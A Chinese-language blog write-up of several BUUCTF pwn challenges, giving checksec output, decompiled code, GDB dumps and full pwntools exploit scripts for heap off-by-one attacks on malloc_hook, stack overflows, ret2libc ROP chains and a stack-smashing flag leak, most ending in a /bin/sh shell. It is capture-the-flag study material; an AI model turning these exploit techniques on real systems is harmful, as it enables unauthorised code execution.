add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,0x18+10,'a'*0x18+'\xb1')#off by one
#1.szie=0x18 2.size=0x98
#1.size+2.size=chunk_add.size=0xb0
# 0x10+8 like this is more conviente to use
# not to add sth like p64(0)
gdb.attach(p)

#GDB
pwndbg> x/32gx 0x55a813ab9000
0x55a813ab9000: 0x0000000000000000 0x0000000000000021
0x55a813ab9010: 0x6161616161616161 0x6161616161616161
0x55a813ab9020: 0x6161616161616161 0x00000000000000b1
这里已经被修改为'\xb1'
0x55a813ab9030: 0x0000000000000000 0x0000000000000000
0x55a813ab9040: 0x0000000000000000 0x0000000000000091
0x55a813ab9050: 0x0000000000000000 0x0000000000000000
0x55a813ab9060: 0x0000000000000000 0x0000000000000000
>这样我们free(1),就会得到`libc base`了
#code
free(1)
add(0xa8)#1
#gdb.attach(p)
edit(1,0x20,'a'*0x18+p64(0x91))#repair
#gdb.attach(p)
free(2)
show(1) #leak
gdb.attach(p)
#GDB
pwndbg> bin
fastbins
.........
unsortedbin
all: 0x55d9d3909040 —▸ 0x7ff8d0bbab78 (main_arena+88) ◂— 0x55d9d3909040
..........
pwndbg> x/32gx 0x55d9d3909000
0x55d9d3909000: 0x0000000000000000 0x0000000000000021
0x55d9d3909010: 0x6161616161616161 0x6161616161616161
0x55d9d3909020: 0x6161616161616161 0x00000000000000b1
0x55d9d3909030: 0x6161616161616161 0x6161616161616161
0x55d9d3909040: 0x6161616161616161 0x0000000000000091
0x55d9d3909050: 0x00007ff8d0bbab78 0x00007ff8d0bbab78
0x55d9d3909060: 0x0000000000000000 0x0000000000000000
0x55d9d3909070: 0x0000000000000000 0x0000000000000000
>再输出chunk1的内容就可以输出`0x00007ff8d0bbab78`,从而泄露`libc base`
最后输出
[+] libc base=>0x7ff8d07f6000
[+] malloc hook=>0x7ff8d0bbab10
[+] realloc hook=>0x7ff8d087a6c0
[+] one gadget=>0x7ff8d083b26a
这里我们用的one_gadget是
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
所以需要满足条件[rsp+0x30] == NULL,这就需要realloc来对栈上的东西进行微调
#code
edit(4,0x32,'a'*0x28+'\xa1') #off by one
#gdb.attach(p)
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
#new 2 take the 5's place and hijack 6 to malloc hook
#gdb.attach(p)
add(0x68)#5
add(0x68)#6 in malloc hook
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc))
gdb.attach(p)

>修改realloc_hook为onegadget,修改malloc_hook为realloc+偏移地址
#GDB
>断点过后走几个单步
pwndbg> x/16gx $rsp+0x30
0x7ffeb950d680: 0x0000000000000000 0x00007f5695fa773b
0x7ffeb950d690: 0x00007ffeb950d8db 0x00007f56961d99a0
0x7ffeb950d6a0: 0x0000000000000000 0x0000000000000000
0x7ffeb950d6b0: 0x0000000000000000 0x00007f5695fa773b
0x7ffeb950d6c0: 0x0000000000000000 0x00007ffeb950dd58
0x7ffeb950d6d0: 0x0000000000000000 0x0000000000000000
0x7ffeb950d6e0: 0x0000000000000000 0x00007ffeb950d8f0
0x7ffeb950d6f0: 0x0000000000000064 0x0000004000000000
> 调用了过后就达成了

4.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./roarctf_2019_easy_pwn")
libc=ELF('/home/joe1sn/libc/64/libc-2.23.so')
p = process("./roarctf_2019_easy_pwn")

def add(size):
p.recvuntil('choice: ')
p.sendline('1')
p.recvuntil('size:')
p.sendline(str(size))

def edit(index,size,data):
p.sendlineafter(": ",'2')
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.recvuntil('content:')
p.send(data)

def free(index):
p.sendlineafter(": ",'3')
p.recvuntil('index:')
p.sendline(str(index))

def show(index):
p.sendlineafter(": ",'4')
p.sendlineafter(": ",str(index))

if __name__ == '__main__':
add(0x18)#0
add(0x18)#1
add(0x88)#2
add(0x88)#3

add(0x28)#4
add(0x28)#5
add(0x68)#6

edit(0,0x18+10,'a'*0x18+'\xb1')#off by one
#1.szie=0x18 2.size=0x98
#1.size+2.size=chunk_add.size=0xb0
# 0x10+8 like this is more conviente to use
# not to add sth like p64(0)
#gdb.attach(p)
free(1)
add(0xa8)#1
#gdb.attach(p)
edit(1,0x20,'a'*0x18+p64(0x91))#repair
#gdb.attach(p)
free(2)
show(1) #leak
#gdb.attach(p)
p.recvuntil('content: ')
libc_base=u64(p.recvuntil("\x7f\x00\x00")[-8:])-0x3c4b78
print(hex(libc_base))
malloc_hook=libc_base+libc.sym['__malloc_hook']
realloc = libc_base + libc.symbols['__libc_realloc']
one_gadget=libc_base+0x4526a
log.success("libc base=>0x%x",libc_base)
log.success("malloc hook=>0x%x",malloc_hook)
log.success("realloc hook=>0x%x",realloc)
log.success("one gadget=>0x%x",one_gadget)
'''
add(0x28)#4
add(0x28)#5
add(0x68)#6
'''

edit(4,0x32,'a'*0x28+'\xa1') #off by one
#gdb.attach(p)
free(5)
free(6)
add(0x98)#2
edit(2,0x38,'a'*0x28+p64(0x71)+p64(malloc_hook-0x23))
#new 2 take the 5's place and hijack 6 to malloc hook
#gdb.attach(p)
add(0x68)#5
add(0x68)#6 in malloc hook
edit(6,27,'a'*(0x13-8)+p64(one_gadget)+p64(realloc))
gdb.attach(p)
add(0x10)
p.interactive()

rip

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]

puts("please input");
gets(&s, argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

string

LOAD:00000000004002A8	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:00000000004003B9 0000000A C libc.so.6
LOAD:00000000004003C3 00000005 C gets
LOAD:00000000004003C8 00000005 C puts
LOAD:00000000004003CD 00000007 C system
LOAD:00000000004003D4 00000012 C __libc_start_main
LOAD:00000000004003E6 0000000C C GLIBC_2.2.5
LOAD:00000000004003F2 0000000F C __gmon_start__
.rodata:0000000000402004 0000000D C please input
.rodata:0000000000402011 0000000A C ok,bye!!!
.rodata:000000000040201B 00000008 C /bin/sh
.eh_frame:00000000004020DF 00000006 C ;*3$\"

gets函数漏洞,有/bin/sh

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",27035)
binsh_addr = 0x401186
payload = '\x00'*0xf + p64(binsh_addr)
p.sendline(payload)
p.interactive()

warmup_csaw_2016

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

2.IDA

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

string

LOAD:0000000000400238	0000001C	C	/lib64/ld-linux-x86-64.so.2
LOAD:0000000000400361 0000000A C libc.so.6
LOAD:000000000040036B 00000005 C gets
LOAD:0000000000400370 00000008 C sprintf
LOAD:0000000000400378 00000007 C system
LOAD:000000000040037F 00000012 C __libc_start_main
LOAD:0000000000400391 00000006 C write
LOAD:0000000000400397 0000000F C __gmon_start__
LOAD:00000000004003A6 0000000C C GLIBC_2.2.5
.rodata:0000000000400734 0000000D C cat flag.txt
.rodata:0000000000400741 0000000B C -Warm Up-\n
.rodata:000000000040074C 00000005 C WOW:
.eh_frame:00000000004007FF 00000006 C ;*3$\"

gets溢出,system函数和cat flag字符串

3.EXP

from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",28792)

cat_flag = 0x40060d

payload = '\x00'*(0x40+8) + p64(cat_flag)
p.sendlineafter(">",payload)
print p.recv()
p.interactive()

wdb2018_guess

一道思路清奇的题

checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

反汇编

IDA.png

可以看出

  • **1.**flag文件被读取到了栈上面
  • **2.**主程序创建(fork)了三个线程
  • **3.**在这个线程里面,程序将我们的输入和站上面的flag进行比较
  • **4.**我们输入的时候调用了gets,导致栈溢出

GDB调试

  • 1. 输入后,在strcmp断点

gdb-1.png

我们溢出0x128就可以覆盖 _libc_arg[0] 的值,从而泄露数据

  • 2. 找到flag的内存位置

    这个我们可以从环境变量入手,找到_libc_environ,然后再根据相对偏移找到flag在栈上的地址

知识点

程序开启了canary保护,这里有个之前我忽略的点 canary的检查报错

源码如下

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}

程序输出的时候使用了 __libc_argv[0] 来打印程序的名称,所以就可以从这里泄露一些信息

这里拓展一下

argc:命令的条数

argv[]:输入的每条命令

#include <iostream>
using std::cout;
using std::cin;
using std::endl;

int main(int argc, char *argv[])
{
for (int i = 0; i < argc; ++i)
cout<<argv[i]<<endl;
return 0;
}

输出

arg-1.png

那么argv[0]=程序的名称(也是第0条指令)

_libc_environ

在libc中保存了一个函数叫_environ,存的是当前进程的环境变量

如何从libc地址得到栈地址这里面就详细写了这个函数

arg-2.png

攻击步骤

  • 1. 泄露libc
  • 2. 泄露_libc_arg的表头 environ,从而找到flag在站上面的地址
  • 3. 覆盖 **libc_arg[0]**为flag在栈上面的地址,最后通过 stack_smashing 泄露出flag

EXP

from pwn import *
name = "guess"
elf = ELF(name)
# libc = ELF("/lib/i386-linux-gnu/libc.so.6")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = ELF("libc-2.23.so")
sh = 0

def main(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process(name)
else:
sh = remote(ip,port)

payload = "A"*0x128
payload += p64(elf.got["read"])
sh.sendlineafter("Please type your guessing flag\n",payload)

sh.recvuntil('stack smashing detected ***: ')
libc_base = u64(sh.recv(6).ljust(8,'\x00'))-libc.sym["read"]
system = libc_base + libc.sym["system"]
environ = libc_base+libc.sym['__environ']
info("libc base -> "+hex(libc_base))
info("libc_system -> "+hex(system))
info("__libc_environ -> "+hex(environ))

payload = "A"*0x128
payload += p64(environ)
sh.sendlineafter("Please type your guessing flag\n",payload)
en_list = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
info("environ -> "+hex(en_list))

payload="A"*0x128
payload += p64(en_list-0x168)
sh.sendlineafter("Please type your guessing flag\n",payload)
sh.recvuntil("*** stack smashing detected ***: ")
print sh.recvline()

if __name__ == '__main__':
main("node3.buuoj.cn","26263",1,1)

xdctf2015_pwn200

EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./bof")
#p = process("./bof")
p = remote("node3.buuoj.cn",27377)

write_got = elf.got["write"]
write_plt = elf.plt["write"]
main = elf.sym["main"]

payload = 'a'*(0x6c+4)
payload += p32(write_plt)+p32(main)
payload += p32(1)+p32(write_got)+p32(4)

p.recvuntil("Welcome to XDCTF2015~!\n")
p.sendline(payload)

leak_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher("write",leak_addr)
base = leak_addr-libc.dump("write")
sys_addr = base+libc.dump("system")
binsh = base+libc.dump("str_bin_sh")

log.success("libc base=>%x",base)
log.success("system addr=>%x",sys_addr)
log.success("binsh=>%x",binsh)

p.recvuntil("Welcome to XDCTF2015~!\n")
payload = 'a'*(0x6c+4)
payload += p32(sys_addr)+p32(main)
payload += p32(binsh)
p.sendline(payload)

p.interactive()

铁人三项(第五赛区)_2018_rop

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

vulnerable_function

ssize_t vulnerable_function()
{
char buf; // [esp+10h] [ebp-88h]

return read(0, &buf, 0x100u);
}

溢出+libc leak

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26402)
elf = ELF("./2018_rop")
libc = ELF("./libc-2.27.so")

read_plt = elf.plt["read"]
read_got = elf.got["read"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.sym["main"]

payload = "a"*(0x88+4)
payload += p32(write_plt)+p32(main_addr)
payload += p32(1)+p32(write_got)+p32(4)

p.sendline(payload)
leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.sym["write"]
sys_addr = libc_base + libc.sym["system"]
binsh = libc_base + libc.search('/bin/sh').next()
log.info("libc base=>%x",libc_base)
log.info("system addr=>%x",sys_addr)
log.info("/bin/sh addr=>%x",binsh)


payload = 'a'*(0x88+4)
payload += p32(sys_addr)+p32(main_addr)
payload += p32(binsh)
p.sendline(payload)

p.interactive()
Author: Joe1sn
Link: http://blog.joe1sn.top/2021/BUUCTF/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信